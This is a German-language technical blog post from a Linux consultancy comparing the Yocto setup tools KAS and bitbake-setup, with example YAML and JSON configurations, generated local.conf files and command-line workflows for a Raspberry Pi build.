<h1 id="die-sich-wandelnde-landschaft-des-yocto-projekt-setups-bitbake-setup-vs-kas">Die sich wandelnde Landschaft des Yocto-Projekt-Setups: bitbake-setup vs. KAS</h1>
<p>Wer schon einmal mit Yocto eine eigene Linux-Distribution erstellt hat, dem ist vermutlich aufgefallen, dass das Yocto-Projekt selbst keine standardisierte Methode für den allerersten Schritt bietet: alle benötigten Layer zu holen und die initiale Build-Konfiguration anzulegen.
Seit 2017 füllt das Tool KAS diese Lücke.
Heute, im Jahr 2025, hat KAS eine beachtliche Nutzerbasis und eine lebendige Community.
Dennoch ist es weder offizieller Bestandteil des Yocto-Projekts noch das offiziell empfohlene Tool für das Projekt-Setup.
Seit 2024 entwickelt das Yocto-Projekt ein eigenes Tool: bitbake-setup.
Jetzt, Ende 2025, nimmt dieses neue Tool Gestalt an.</p>
<p>Als Linux-Berater erhalten wir häufig Fragen von Kunden zum Status und zur zukünftigen Richtung des Yocto-Projekt-Setups.
Besonders seit bitbake-setup verfügbar ist, werden wir gefragt, was aus KAS wird, was von bitbake-setup zu erwarten ist und so weiter.
Dieser Blogbeitrag fasst die aktuelle Situation zusammen und klärt die wichtigsten Unterschiede und Konsequenzen beim Einsatz von KAS gegenüber bitbake-setup.</p>
<h2 id="kas-ursprünge-und-ein-kurzer-überblick">KAS: Ursprünge und ein kurzer Überblick</h2>
<p>Vor dem Aufkommen von KAS<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> (bairisch für Käse) verwalteten Yocto-Nutzer ihre Layer-Abhängigkeiten typischerweise entweder mit git submodules oder mit dem Tool repo<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
Dieser Ansatz stützte sich oft auf eine Sammlung von Shell-Skripten, um grundlegende Konfigurationsdateien wie <code>bblayers.conf</code> und <code>local.conf</code> zu erzeugen.
Dieser Prozess war häufig umständlich und sehr fehleranfällig.</p>
<p>Ingenieure bei Siemens erkannten diese fehlende Standardisierung als Risiko für die Qualität ihrer Build-Infrastruktur und suchten nach einer Lösung.
Aus dieser Arbeit entstanden die ersten Konzepte hinter KAS.
Das Kernprinzip von KAS ist, ein Yocto-Projekt in einer YAML-Konfigurationsdatei zu beschreiben, um deterministische Builds zu ermöglichen.
Das Ziel ist einfach: Egal wo der Build läuft, das Ergebnis soll identisch sein.
KAS kontrolliert die Build-Umgebung sorgfältig und stellt sicher, dass keine Umgebungsvariablen des Host-Systems in den Build gelangen, sofern sie nicht explizit in der KAS-Konfigurationsdatei angegeben sind.
Entscheidend ist: KAS arbeitet als externes Tool mit Yocto zusammen.
Es verpackt den Standard-Yocto-Prozess in eine deterministische Umgebung und erzeugt alle nötigen Konfigurationsdateien, aber Yocto muss von KAS nichts wissen.</p>
<p>Zusätzlich zur Kernfunktionalität bietet KAS ein Wrapper-Skript, <code>kas-container</code>, mit dem Entwickler das gesamte Projekt-Setup und den Build in einem Container mit Docker oder Podman ausführen können.
Diese Containerisierung bietet eine hervorragende Isolation vom Host-System. Standardmäßig verwendet der KAS-Build-Container eine minimale Debian-Linux-Installation, in der nur die vom Yocto-Projekt zwingend benötigten Host-Abhängigkeiten installiert sind. So läuft jeder Build in einer vollständig deterministischen Umgebung, was das Versprechen reproduzierbarer Ergebnisse von KAS weiter stärkt.</p>
<p>Hier ein Beispiel einer typischen KAS-Konfigurationsdatei:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yml" data-lang="yml"><span class="line"><span class="cl"><span class="nt">header</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">version</span><span class="p">:</span><span class="w"> </span><span class="m">14</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">machine</span><span class="p">:</span><span class="w"> </span><span class="l">raspberrypi5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">distro</span><span class="p">:</span><span class="w"> </span><span class="l">poky</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">target</span><span class="p">:</span><span class="w"> </span><span class="l">core-image-minimal</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">repos</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">poky</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;https://git.yoctoproject.org/git/poky&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">commit</span><span class="p">:</span><span class="w"> </span><span class="l">d0b46a6624ec9c61c47270745dd0b2d5abbe6ac1</span><span class="w"> </span><span class="c"># walnascar-5.2.4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">layers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">meta</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">meta-poky</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">meta-yocto-bsp</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">meta-raspberry</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;https://git.yoctoproject.org/meta-raspberrypi&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">commit</span><span class="p">:</span><span class="w"> </span><span class="l">5c540d5447fba8b652c8778af30e605242df650c</span><span class="w"> </span><span class="c"># walnascar as of 23.10.2025</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">local_conf_header</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">sstate-cdn</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">     BB_HASHSERVE_UPSTREAM = &#39;wss://hashserv.yoctoproject.org/ws&#39;
</span></span></span><span class="line"><span class="cl"><span class="sd">     SSTATE_MIRRORS ?= &#34;file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">rpi</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">     EXTRA_IMAGE_FEATURES = &#34;ssh-server-openssh&#34;
</span></span></span><span class="line"><span class="cl"><span class="sd">     LICENSE_FLAGS_ACCEPTED = &#34;synaptics-killswitch&#34;
</span></span></span><span class="line"><span class="cl"><span class="sd">     INHERIT += &#34;rm_work&#34;</span><span class="w">
</span></span></span></code></pre></div><p>Diese Datei beschreibt:</p>
<ul>
<li>Welche Repositories (Layer) geholt werden und welcher exakte git-Commit zu verwenden ist.</li>
<li>Die Standardwerte für Machine, Distro und Ziel-Image des Builds.</li>
<li>Zusätzliche Variablen, die an die erzeugte <code>local.conf</code> angehängt werden.</li>
</ul>
<p>Um das Projekt zu bauen, führen Sie den Befehl <code>kas build rpi.yml</code> aus.
Soll der gesamte Prozess für maximale Host-Isolation in einem Container laufen, verwenden Sie den Wrapper: <code>kas-container build rpi.yml</code>.</p>
<p>Beim Ausführen von KAS passiert Folgendes:</p>
<ul>
<li>Alle aufgeführten Repositories werden ausgecheckt.</li>
<li>Die Datei <code>bblayers.conf</code> wird erzeugt.</li>
<li>Die Datei <code>local.conf</code> wird erzeugt.</li>
<li>Der eigentliche Build-Befehl wird ausgeführt, hier <code>bitbake -c build core-image-minimal</code>.</li>
</ul>
<p>Bei Verwendung von <code>kas-container</code> läuft KAS vollständig im Container.
Das Host-System benötigt nur das Shell-Skript <code>kas-container</code> und entweder Docker oder Podman.</p>
<p>Über Projekt-Setup und Build hinaus bietet KAS diverse weitere Unterbefehle, die die Yocto-Entwicklung erleichtern.
Die wichtigsten sind:</p>
<ul>
<li><code>shell</code>: Öffnet eine Shell in der bereinigten Build-Umgebung, nützlich zum Debuggen oder für eigene bitbake-Befehle.</li>
<li><code>menu</code>: Bietet eine interaktive Oberfläche, um das Projekt zu konfigurieren und Build-Variablen zu setzen.</li>
<li><code>diff</code>: Vergleicht zwei KAS-Konfigurationsdateien und zeigt das git-Log jedes referenzierten Repositories.</li>
<li><code>lock</code>: Dient der Absicherung der Lieferkette, vergleichbar mit dem Lock-File-Mechanismus von Go, Cargo oder Node.js.</li>
</ul>
<p>Mehr Details zu KAS finden Sie in der <a href="https://kas.readthedocs.io">Dokumentation</a> oder in diesem <a href="https://eoss2023.sched.com/event/1LcOs/fetching-configuring-and-building-your-bitbake-project-with-just-one-command-jan-kiszka-siemens-ag">Vortrag</a> von Jan Kiszka.</p>
<h2 id="bitbake-setup-die-offizielle-lösung-des-yocto-projekts">bitbake-setup: Die offizielle Lösung des Yocto-Projekts</h2>
<p>Obwohl KAS permissiv unter der MIT-Lizenz steht und seine Entwickler wiederholt ihre Bereitschaft erklärt haben, KAS eng in das Yocto-Projekt zu integrieren, kam es nie dazu.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> <sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
Yocto-Entwickler vertraten früh die Position, dass ein Setup-Tool wie KAS ein integrierter Bestandteil von bitbake sein sollte und kein eigenständiges Projekt.
Ein Argument für ein solches Tool als Teil von bitbake ist, dass sich der Fetch-Code von bitbake wiederverwenden lässt, statt wie KAS derzeit git-Befehle direkt auszuführen.
Diese Position führte direkt zur Entwicklung von bitbake-setup.</p>
<p>Wie der Name vermuten lässt, liegt bitbake-setup direkt im bitbake-Repository.
Der allererste Schritt, um ein Yocto-System mit diesem Tool aufzusetzen und zu bauen, ist daher das Klonen des bitbake-git-Repositories selbst.</p>
<p>Ein typischer bitbake-setup-Workflow sieht so aus:</p>
<ul>
<li><code>git clone -b master-next https://git.openembedded.org/bitbake</code></li>
<li><code>bitbake/bin/bitbake-setup init rpi.conf.json</code></li>
<li><code>. /path/to/your/builddir/init-build-env</code></li>
<li><code>bitbake core-image-minimal</code></li>
</ul>
<p>Lässt man beim Aufruf von <code>bitbake-setup init</code> den Parameter weg, verwendet das Tool eine Standardkonfiguration.
Typischerweise übergeben Sie aber den Namen, einen Pfad oder eine URL zu Ihrer Konfiguration.</p>
<p>Hier ein Beispiel einer einfachen JSON-Konfigurationsdatei für bitbake-setup:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JSON" data-lang="JSON"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Raspberry Pi base config&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;sources&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;bitbake&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.openembedded.org/bitbake&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;bitbake&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;openembedded-core&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.openembedded.org/openembedded-core&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;openembedded-core&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;meta-yocto&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.yoctoproject.org/meta-yocto&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;meta-yocto&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;meta-raspberrypi&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;git-remote&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;remotes&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;origin&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;uri&#34;</span><span class="p">:</span> <span class="s2">&#34;git://git.yoctoproject.org/meta-raspberrypi&#34;</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;rev&#34;</span><span class="p">:</span> <span class="s2">&#34;master&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;path&#34;</span><span class="p">:</span> <span class="s2">&#34;meta-raspberrypi&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;bitbake-setup&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;configurations&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;poky&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Poky reference distro build&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;bb-layers&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;openembedded-core/meta&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;meta-yocto/meta-yocto-bsp&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;meta-yocto/meta-poky&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;meta-raspberrypi&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;oe-fragments&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">          <span class="s2">&#34;core/yocto/sstate-mirror-cdn&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;oe-fragments-one-of&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;machine&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Available target machines&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;options&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;machine/raspberrypi4&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;machine/raspberrypi4-64&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;machine/raspberrypi5&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="p">]</span>
</span></span><span class="line"><span class="cl">          <span class="p">},</span>
</span></span><span class="line"><span class="cl">          <span class="nt">&#34;distro&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;description&#34;</span><span class="p">:</span> <span class="s2">&#34;Available distributions&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;options&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;distro/poky&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">              <span class="s2">&#34;distro/poky-tiny&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="p">]</span>
</span></span><span class="line"><span class="cl">          <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;version&#34;</span><span class="p">:</span> <span class="s2">&#34;1.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Die Konfigurationsdatei definiert die zentralen Projektparameter, vor allem:</p>
<ul>
<li>Welche Repositories (Layer) geholt werden.</li>
<li>Die verfügbaren Konfigurationen, hier Distributionen (<code>DISTRO</code>) und Machines (<code>MACHINE</code>).</li>
</ul>
<p>Wie der Befehl <code>kas menu</code> kann bitbake-setup den Nutzer nach Konfigurationsentscheidungen fragen.
Es bietet zum Beispiel, je nach geladener Konfiguration, mehrere Optionen für die gewünschte Machine und Distribution an.
Die Benutzeroberfläche unterscheidet sich jedoch: KAS verwendet ein Kconfig-Menü als Text User Interface (TUI), bitbake-setup stellt Fragen und liest die Eingaben direkt über die Konsole ein.</p>
<p>Beispielausgabe von <code>bitbake-setup</code> beim Stellen der Fragen:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="go">Selecting the only available bitbake configuration poky
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Available target machines:
</span></span></span><span class="line"><span class="cl"><span class="go">0. machine/raspberrypi4
</span></span></span><span class="line"><span class="cl"><span class="go">1. machine/raspberrypi4-64
</span></span></span><span class="line"><span class="cl"><span class="go">2. machine/raspberrypi5
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Please select one of the above options by its number:
</span></span></span><span class="line"><span class="cl"><span class="go">2
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Available distributions:
</span></span></span><span class="line"><span class="cl"><span class="go">0. distro/poky
</span></span></span><span class="line"><span class="cl"><span class="go">1. distro/poky-tiny
</span></span></span><span class="line"><span class="cl"><span class="go"></span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span><span class="go">Please select one of the above options by its number:
</span></span></span><span class="line"><span class="cl"><span class="go">0
</span></span></span></code></pre></div><p><code>bitbake-setup</code> verwaltet ein Top-Level-Verzeichnis, standardmäßig <code>~/bitbake-builds/</code>.
Dieses Verzeichnis enthält gemeinsam genutzte Ressourcen, darunter einen Download-Ordner, globale Einstellungen, Build-Konfigurationen und die initialisierten Yocto-Projekte.
Wenn Sie mehrere Projekte mit <code>bitbake-setup</code> aufsetzen, teilen sie sich automatisch den Download-Ordner, weil <code>bitbake-setup</code> die Variable <code>DL_DIR</code> vorkonfiguriert.
Außerdem nutzt <code>bitbake-setup</code> eine Registry zum Ablegen von Build-Konfigurationen. Die Standard-Registry liegt im bitbake-Repository, Sie können aber eine eigene definieren.</p>
<p>Um zum Beispiel eine neue Standard-Registry zu setzen, führen Sie <code>bitbake-setup settings set default registry /path/to/my/bbregistry</code> aus.</p>
<p>Nachdem Sie Ihre <code>*.conf.json</code>-Dateien in <code>/path/to/my/bbregistry/configurations/</code> abgelegt haben, erkennen Befehle wie <code>bitbake-setup list</code> und <code>bitbake-setup init</code> diese.</p>
<pre tabindex="0"><code>$ bitbake-setup list
Loading settings from
    /home/bobthebuilder/bitbake-builds/settings.conf

Bitbake-setup is using /home/bobthebuilder/bitbake-builds as top directory (&#34;bitbake-setup settings --help&#34; shows how to change it).


Available configurations:
rpi     Raspberry Pi base config
base    A Yocto base configuration with options
xxx     Just testing

Run &#39;init&#39; with one of the above configuration identifiers to set up a build.
</code></pre><p>Übergeben Sie <code>bitbake-setup init</code> also einen Konfigurationsnamen statt eines Dateinamens oder einer URL,
sucht es die Konfiguration in der Registry.</p>
<p>Die Eingliederung von bitbake-setup in das bitbake-Repository hat erhebliche Auswirkungen darauf, wie Yocto-Projekte geholt werden.
Zur Erinnerung: Das Poky-Repository diente traditionell als offizielles Referenzsystem und bündelte drei Kernkomponenten: bitbake, meta-yocto und openembedded-core.
Da bitbake-setup verlangt, zuerst das eigenständige bitbake-Repository zu klonen, verliert das monolithische Poky-Repository seine historische Rolle.
Nutzer können openembedded-core und meta-yocto nun einzeln neben bitbake holen.
Folglich wird das Poky-Repository für zukünftige Yocto-Releases keine Updates mehr erhalten,
Nutzern wird geraten, die Repositories einzeln zu holen.</p>
<p>Wie sich diese Änderung auf ein KAS-basiertes Projekt anwenden lässt, zeigt diese Änderung:
<a href="https://github.com/mendersoftware/meta-mender-community/commit/f82d2d4a9ebc79ac3e88e6388609e4ec8e49a7e6">https://github.com/mendersoftware/meta-mender-community/commit/f82d2d4a9ebc79ac3e88e6388609e4ec8e49a7e6</a>.</p>
<p>Mehr Details zu bitbake-setup finden Sie in diesen <a href="https://eoss2023.sched.com/event/1LcOd/setting-up-yocto-layers-and-builds-with-official-tools-2023-edition-alexander-kanavin-linutronix">zwei</a> <a href="https://osseu2025.sched.com/event/25VtR/producing-a-complete-linux-system-with-a-single-command-and-configuration-file-with-yocto-alexander-kanavin-linutronix">Vorträgen</a> von Alexander Kanavin.</p>
<h2 id="bitbake-setup-und-kas-im-vergleich">bitbake-setup und KAS im Vergleich</h2>
<p>Der Vergleich dieser beiden Tools ist komplexer, als man zunächst erwarten würde.
KAS und bitbake-setup haben unterschiedliche Ursprünge.
KAS kommt im Grunde von Nutzern für Nutzer, während bitbake-setup die Perspektive der Yocto-Entwickler widerspiegelt.
Die Yocto-Entwickler nutzten dieses Tool als Gelegenheit, lange aufgeschobene Aufgaben umzusetzen: das Entflechten des Poky-Repositories, die Einführung von Konfigurations-Fragmenten und ein Setup-Tool, das eng mit bitbake gekoppelt ist.</p>
<p>Ein zentraler technischer Unterschied zu KAS ist, dass bitbake-setup JSON als Konfigurationsformat verwendet, nicht YAML.
JSON ist als Serialisierungsformat hervorragend, bringt aber für von Menschen editierte Konfigurationsdateien zwei wesentliche Einschränkungen mit:</p>
<ul>
<li>JSON unterstützt keine Kommentare, was die Dokumentation erschwert.</li>
<li>Es erlaubt keine nachgestellten Kommata, was bei manuellen Änderungen zu Parser-Fehlern führen kann.</li>
</ul>
<p>Wir bei der sigma star gmbh halten JSON daher für weniger geeignet für nutzerseitige Konfigurationsdateien.</p>
<p>Ein weiterer Unterschied in der Philosophie ist der Umgang mit der Datei <code>local.conf</code>.
KAS befüllt die <code>local.conf</code> automatisch anhand der Einstellungen aus seiner YAML-Konfiguration.
bitbake-setup befüllt Ihre <code>local.conf</code> nicht automatisch.
Die Begründung: <code>local.conf</code> soll nur nutzerspezifische Einstellungen und Overrides enthalten und nicht mit automatisch erzeugtem Inhalt verunreinigt werden.</p>
<p>Das obige KAS-Beispiel würde etwa eine <code>local.conf</code> wie diese ergeben:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># rpi</span>
</span></span><span class="line"><span class="cl"><span class="na">EXTRA_IMAGE_FEATURES</span> <span class="o">=</span> <span class="s">&#34;ssh-server-openssh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">LICENSE_FLAGS_ACCEPTED</span> <span class="o">=</span> <span class="s">&#34;synaptics-killswitch&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">INHERIT +</span><span class="o">=</span> <span class="s">&#34;rm_work&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sstate-cdn</span>
</span></span><span class="line"><span class="cl"><span class="na">BB_HASHSERVE_UPSTREAM</span> <span class="o">=</span> <span class="s">&#39;wss://hashserv.yoctoproject.org/ws&#39;</span>
</span></span><span class="line"><span class="cl"><span class="na">SSTATE_MIRRORS ?</span><span class="o">=</span> <span class="s">&#34;file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="na">MACHINE ??</span><span class="o">=</span> <span class="s">&#34;raspberrypi5&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">DISTRO ??</span><span class="o">=</span> <span class="s">&#34;poky&#34;</span>
</span></span><span class="line"><span class="cl"><span class="na">BBMULTICONFIG ?</span><span class="o">=</span> <span class="s">&#34;&#34;</span>
</span></span></code></pre></div><p>Im Gegensatz dazu die von bitbake-setup erzeugte <code>local.conf</code>:</p>
<pre tabindex="0"><code class="language-init" data-lang="init">#
# This file is intended for local configuration tweaks.
#
# If you would like to publish and share changes made to this file,
# it is recommended to put them into a distro config, or to create
# layer fragments from changes made here.
#
</code></pre><p>Da bitbake-setup zwar die Auswahl von Distribution und Machine erlaubt, aber die <code>local.conf</code> nicht befüllt, haben die Yocto-Entwickler ein generischeres Konzept eingeführt: Layer-Fragmente.
Layer-Fragmente sind Dateien, die Variablen und ihre zugehörigen Werte enthalten.
Sie wählen diese Dateien beim Projekt-Setup aus, und das System fügt ihren Inhalt direkt in den globalen Variablenbereich ein.
Die Fragment-Auswahl nutzt die neue Datei <code>toolcfg.conf</code> und die Variable <code>OE_FRAGMENTS</code>.
In unserem Beispiel zieht das System etwa immer <code>core/yocto/sstate-mirror-cdn.conf</code> heran, je nach Auswahl des Nutzers zusätzlich <code>distro/poky.conf</code> plus <code>machine/raspberrypi5.conf</code>.</p>
<p><code>toolcfg.conf</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="na">OE_FRAGMENTS +</span><span class="o">=</span> <span class="s">&#34;core/yocto/sstate-mirror-cdn distro/poky machine/raspberrypi5&#34;</span>
</span></span></code></pre></div><p>Auch die Konfiguration weiterer Einstellungen, etwa des Pfads zum Download-Verzeichnis (<code>DL_DIR</code>), unterscheidet sich.
KAS setzt <code>DL_DIR</code> als Umgebungsvariable und fügt sie zu <code>BB_ENV_PASSTHROUGH_ADDITIONS</code> hinzu, sodass bitbake den <code>DL_DIR</code>-Wert aus der Umgebung übernimmt.
bitbake-setup hingegen injiziert die Variable <code>DL_DIR</code> direkt in den Parser-Cache des bitbake-Codes.</p>
<p>Wie erwähnt verwenden bitbake-setup und KAS unterschiedliche Konfigurationsformate.
Sie gehen mit diesen Konfigurationen auch unterschiedlich um.
bitbake-setup verwendet strikt eine einzige Konfigurationsdatei.
KAS bietet dagegen Mechanismen, um mehrere Konfigurationsdateien einzubinden oder zu schichten.
Das geht entweder über die Eigenschaft <code>includes</code> in einer Konfigurationsdatei oder direkt auf der Kommandozeile, z. B. <code>kas build rpi.yml:sigmastar-settings.yml</code>.
